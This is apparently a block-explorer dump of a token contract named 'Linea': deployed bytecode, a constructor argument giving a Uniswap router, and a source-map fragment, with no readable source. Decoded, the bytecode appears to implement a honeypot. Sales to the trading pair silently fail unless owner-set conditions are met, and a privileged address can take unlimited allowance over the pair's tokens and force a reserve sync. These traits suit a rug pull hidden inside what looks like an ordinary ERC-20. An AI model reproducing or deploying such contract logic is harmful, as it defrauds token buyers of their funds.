13cf91906121e7565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611425919061233f565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561149457600080fd5b505afa1580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc9190612560565b600e819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152f9190611f04565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806115e75750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561165857600080fd5b505afa15801561166c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116909190612560565b90506001600d541180156116a55750600e5481105b1561173257600d54600e5460056000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361171d919061258d565b6117279190612616565b1061173157600080fd5b5b50565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156117a257600080fd5b505afa1580156117b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117da91906126c9565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561186757600080fd5b505afa15801561187b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189f9190612731565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561191d57600080fd5b505afa158015611931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119559190612731565b73ffffffffffffffffffffffffffffffffffffffff161415611a2957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48583856040518463ffffffff1660e01b81526004016119d09392919061275e565b60206040518083038186803b1580156119e857600080fd5b505afa1580156119fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a209190612560565b92505050611add565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48584846040518463ffffffff1660e01b8152600401611a889392919061275e565b60206040518083038186803b158015611aa057600080fd5b505afa158015611ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad89190612560565b925050505b919050565b611aea611c1d565b15611c1857611af88361153c565b15611b545780600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b4c919061233f565b925050819055505b611b5d8261153c565b15611c175780600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bb1919061233f565b92505081905550611bc181611735565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c0f919061233f565b925050819055505b5b505050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611c8a57600080fd5b505afa158015611c9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc291906126c9565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600082118015611cf75750600081115b9250505090565b600080fd5b6000819050919050565b611d1681611d03565b8114611d2157600080fd5b50565b600081359050611d3381611d0d565b92915050565b600060208284031215611d4f57611d4e611cfe565b5b6000611d5d84828501611d24565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611da0578082015181840152602081019050611d85565b83811115611daf576000848401525b50505050565b6000601f19601f8301169050919050565b6000611dd182611d66565b611ddb8185611d71565b9350611deb818560208601611d82565b611df481611db5565b840191505092915050565b60006020820190508181036000830152611e198184611dc6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e4c82611e21565b9050919050565b611e5c81611e41565b8114611e6757600080fd5b50565b600081359050611e7981611e53565b92915050565b60008060408385031215611e9657611e95611cfe565b5b6000611ea485828601611e6a565b9250506020611eb585828601611d24565b9150509250929050565b60008115159050919050565b611ed481611ebf565b82525050565b6000602082019050611eef6000830184611ecb565b92915050565b611efe81611d03565b82525050565b6000602082019050611f196000830184611ef5565b92915050565b600080600060608486031215611f3857611f37611cfe565b5b6000611f4686828701611e6a565b9350506020611f5786828701611e6a565b9250506040611f6886828701611d24565b9150509250925092565b600060208284031215611f8857611f87611cfe565b5b6000611f9684828501611e6a565b91505092915050565b600060ff82169050919050565b611fb581611f9f565b82525050565b6000602082019050611fd06000830184611fac565b92915050565b611fdf81611e41565b82525050565b6000602082019050611ffa6000830184611fd6565b92915050565b6000819050919050565b600061202561202061201b84611e21565b612000565b611e21565b9050919050565b60006120378261200a565b9050919050565b60006120498261202c565b9050919050565b6120598161203e565b82525050565b60006020820190506120746000830184612050565b92915050565b6000806040838503121561209157612090611cfe565b5b600061209f85828601611e6a565b92505060206120b085828601611e6a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120f0602083611d71565b91506120fb826120ba565b602082019050919050565b6000602082019050818103600083015261211f816120e3565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612182602883611d71565b915061218d82612126565b604082019050919050565b600060208201905081810360008301526121b181612175565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121f282611d03565b91506121fd83611d03565b9250828210156122105761220f6121b8565b5b828203905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612277602483611d71565b91506122828261221b565b604082019050919050565b600060208201905081810360008301526122a68161226a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612309602283611d71565b9150612314826122ad565b604082019050919050565b60006020820190508181036000830152612338816122fc565b9050919050565b600061234a82611d03565b915061235583611d03565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561238a576123896121b8565b5b828201905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006123f1602583611d71565b91506123fc82612395565b604082019050919050565b60006020820190508181036000830152612420816123e4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612483602383611d71565b915061248e82612427565b604082019050919050565b600060208201905081810360008301526124b281612476565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612515602683611d71565b9150612520826124b9565b604082019050919050565b6000602082019050818103600083015261254481612508565b9050919050565b60008151905061255a81611d0d565b92915050565b60006020828403121561257657612575611cfe565b5b60006125848482850161254b565b91505092915050565b600061259882611d03565b91506125a383611d03565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125dc576125db6121b8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061262182611d03565b915061262c83611d03565b92508261263c5761263b6125e7565b5b828204905092915050565b60006dffffffffffffffffffffffffffff82169050919050565b61266a81612647565b811461267557600080fd5b50565b60008151905061268781612661565b92915050565b600063ffffffff82169050919050565b6126a68161268d565b81146126b157600080fd5b50565b6000815190506126c38161269d565b92915050565b6000806000606084860312156126e2576126e1611cfe565b5b60006126f086828701612678565b935050602061270186828701612678565b9250506040612712868287016126b4565b9150509250925092565b60008151905061272b81611e53565b92915050565b60006020828403121561274757612746611cfe565b5b60006127558482850161271c565b91505092915050565b60006060820190506127736000830186611ef5565b6127806020830185611ef5565b61278d6040830184611ef5565b94935050505056fea26469706673582212202ce80bb97a1550fb39400b7931f294075b9d66e575879f3a0e97a76e700fdb0e64736f6c634300080900330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063989853311161007c5780639898533114610365578063a9059cbb14610381578063b51449bb146103b1578063b59c0974146103cf578063dd62ed3e146103d9578063ee97f7f31461040957610142565b806352390c02146102bf57806370a08231146102db5780638b3aa27c1461030b5780638da5cb5b1461032957806395d89b411461034757610142565b806323b872dd1161010a57806323b872dd146101ed57806326fae0d31461021d5780632782e35b14610239578063313ce567146102695780633685d419146102875780633fb5c1cb146102a357610142565b8063025ff0a51461014757806306fdde0314610163578063095ea7b31461018157806312b495a8146101b157806318160ddd146101cf575b600080fd5b610161600480360381019061015c9190611d39565b610427565b005b61016b6104d5565b6040516101789190611dff565b60405180910390f35b61019b60048036038101906101969190611e7f565b610512565b6040516101a89190611eda565b60405180910390f35b6101b9610530565b6040516101c69190611f04565b60405180910390f35b6101d7610536565b6040516101e49190611f04565b60405180910390f35b61020760048036038101906102029190611f1f565b610540565b6040516102149190611eda565b60405180910390f35b61023760048036038101906102329190611f72565b610652565b005b610253600480360381019061024e9190611f72565b6108b8565b6040516102609190611eda565b60405180910390f35b6102716108d8565b60405161027e9190611fbb565b60405180910390f35b6102a1600480360381019061029c9190611f72565b6108e1565b005b6102bd60048036038101906102b89190611d39565b610996565b005b6102d960048036038101906102d49190611f72565b610a35565b005b6102f560048036038101906102f09190611f72565b610aea565b6040516103029190611f04565b60405180910390f35b610313610b33565b6040516103209190611f04565b60405180910390f35b610331610b39565b60405161033e9190611fe5565b60405180910390f35b61034f610b62565b60405161035c9190611dff565b60405180910390f35b61037f600480360381019061037a9190611d39565b610b9f565b005b61039b60048036038101906103969190611e7f565b610c3e565b6040516103a89190611eda565b60405180910390f35b6103b9610c74565b6040516103c6919061205f565b60405180910390f35b6103d7610c9a565b005b6103f360048036038101906103ee919061207a565b610d78565b6040516104009190611f04565b60405180910390f35b610411610dff565b60405161041e9190611fe5565b60405180910390f35b61042f610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b390612106565b60405180910390fd5b620186a081106104cb57600080fd5b80600d8190555050565b60606040518060400160405280600581526020017f4c696e6561000000000000000000000000000000000000000000000000000000815250905090565b600061052661051f610e25565b8484610e2d565b6001905092915050565b600d5481565b6000600a54905090565b600061054d848484610ff8565b15610647576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059d610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561061d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061490612198565b60405180910390fd5b610628858585611213565b61064585610634610e25565b858461064091906121e7565b610e2d565b505b600190509392505050565b61065a610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106de90612106565b60405180910390fd5b600060066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60046020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093b57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61099e610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2290612106565b60405180910390fd5b80600b8190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a8f57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c494e4541000000000000000000000000000000000000000000000000000000815250905090565b610ba7610e25565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612106565b60405180910390fd5b80600c8190555050565b6000610c52610c4b610e25565b8484610ff8565b15610c6a57610c69610c62610e25565b8484611213565b5b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cf457600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d5e57600080fd5b505af1158015610d72573d6000803e3d6000fd5b50505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e949061228d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f049061231f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610feb9190611f04565b60405180910390a3505050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061109b5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110a9576001905061120c565b6110b28461153c565b156110c8576110bf6115ee565b6001905061120c565b6110d18361153c565b156112075760006110e183611735565b90506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905085826111bb919061233f565b83101580156111d7575083816111d1919061233f565b600b5410155b80156111fc5750600c548873ffffffffffffffffffffffffffffffffffffffff163110155b94505050505061120c565b600090505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a90612407565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612499565b60405180910390fd5b6112fe838383611ae2565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113779061252b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113cf91906121e7565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611425919061233f565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561149457600080fd5b505afa1580156114a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114cc9190612560565b600e819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152f9190611f04565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806115e75750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561165857600080fd5b505afa15801561166c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116909190612560565b90506001600d541180156116a55750600e5481105b1561173257600d54600e5460056000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361171d919061258d565b6117279190612616565b1061173157600080fd5b5b50565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156117a257600080fd5b505afa1580156117b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117da91906126c9565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561186757600080fd5b505afa15801561187b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189f9190612731565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561191d57600080fd5b505afa158015611931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119559190612731565b73ffffffffffffffffffffffffffffffffffffffff161415611a2957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48583856040518463ffffffff1660e01b81526004016119d09392919061275e565b60206040518083038186803b1580156119e857600080fd5b505afa1580156119fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a209190612560565b92505050611add565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48584846040518463ffffffff1660e01b8152600401611a889392919061275e565b60206040518083038186803b158015611aa057600080fd5b505afa158015611ab4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad89190612560565b925050505b919050565b611aea611c1d565b15611c1857611af88361153c565b15611b545780600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b4c919061233f565b925050819055505b611b5d8261153c565b15611c175780600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bb1919061233f565b92505081905550611bc181611735565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c0f919061233f565b925050819055505b5b505050565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611c8a57600080fd5b505afa158015611c9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cc291906126c9565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600082118015611cf75750600081115b9250505090565b600080fd5b6000819050919050565b611d1681611d03565b8114611d2157600080fd5b50565b600081359050611d3381611d0d565b92915050565b600060208284031215611d4f57611d4e611cfe565b5b6000611d5d84828501611d24565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611da0578082015181840152602081019050611d85565b83811115611daf576000848401525b50505050565b6000601f19601f8301169050919050565b6000611dd182611d66565b611ddb8185611d71565b9350611deb818560208601611d82565b611df481611db5565b840191505092915050565b60006020820190508181036000830152611e198184611dc6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e4c82611e21565b9050919050565b611e5c81611e41565b8114611e6757600080fd5b50565b600081359050611e7981611e53565b92915050565b60008060408385031215611e9657611e95611cfe565b5b6000611ea485828601611e6a565b9250506020611eb585828601611d24565b9150509250929050565b60008115159050919050565b611ed481611ebf565b82525050565b6000602082019050611eef6000830184611ecb565b92915050565b611efe81611d03565b82525050565b6000602082019050611f196000830184611ef5565b92915050565b600080600060608486031215611f3857611f37611cfe565b5b6000611f4686828701611e6a565b9350506020611f5786828701611e6a565b9250506040611f6886828701611d24565b9150509250925092565b600060208284031215611f8857611f87611cfe565b5b6000611f9684828501611e6a565b91505092915050565b600060ff82169050919050565b611fb581611f9f565b82525050565b6000602082019050611fd06000830184611fac565b92915050565b611fdf81611e41565b82525050565b6000602082019050611ffa6000830184611fd6565b92915050565b6000819050919050565b600061202561202061201b84611e21565b612000565b611e21565b9050919050565b60006120378261200a565b9050919050565b60006120498261202c565b9050919050565b6120598161203e565b82525050565b60006020820190506120746000830184612050565b92915050565b6000806040838503121561209157612090611cfe565b5b600061209f85828601611e6a565b92505060206120b085828601611e6a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120f0602083611d71565b91506120fb826120ba565b602082019050919050565b6000602082019050818103600083015261211f816120e3565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612182602883611d71565b915061218d82612126565b604082019050919050565b600060208201905081810360008301526121b181612175565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121f282611d03565b91506121fd83611d03565b9250828210156122105761220f6121b8565b5b828203905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612277602483611d71565b91506122828261221b565b604082019050919050565b600060208201905081810360008301526122a68161226a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612309602283611d71565b9150612314826122ad565b604082019050919050565b60006020820190508181036000830152612338816122fc565b9050919050565b600061234a82611d03565b915061235583611d03565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561238a576123896121b8565b5b828201905092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006123f1602583611d71565b91506123fc82612395565b604082019050919050565b60006020820190508181036000830152612420816123e4565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612483602383611d71565b915061248e82612427565b604082019050919050565b600060208201905081810360008301526124b281612476565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612515602683611d71565b9150612520826124b9565b604082019050919050565b6000602082019050818103600083015261254481612508565b9050919050565b60008151905061255a81611d0d565b92915050565b60006020828403121561257657612575611cfe565b5b60006125848482850161254b565b91505092915050565b600061259882611d03565b91506125a383611d03565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125dc576125db6121b8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061262182611d03565b915061262c83611d03565b92508261263c5761263b6125e7565b5b828204905092915050565b60006dffffffffffffffffffffffffffff82169050919050565b61266a81612647565b811461267557600080fd5b50565b60008151905061268781612661565b92915050565b600063ffffffff82169050919050565b6126a68161268d565b81146126b157600080fd5b50565b6000815190506126c38161269d565b92915050565b6000806000606084860312156126e2576126e1611cfe565b5b60006126f086828701612678565b935050602061270186828701612678565b9250506040612712868287016126b4565b9150509250925092565b60008151905061272b81611e53565b92915050565b60006020828403121561274757612746611cfe565b5b60006127558482850161271c565b91505092915050565b60006060820190506127736000830186611ef5565b6127806020830185611ef5565b61278d6040830184611ef5565b94935050505056fea26469706673582212202ce80bb97a1550fb39400b7931f294075b9d66e575879f3a0e97a76e700fdb0e64736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

9722:7012:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13246:131;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11067:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12025:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10424:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11379:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12196:531;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12959:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9921:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11277:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13385:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12735:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13507:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11489:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10451:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;631:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11171:98;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12841:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11618:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9812:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13167: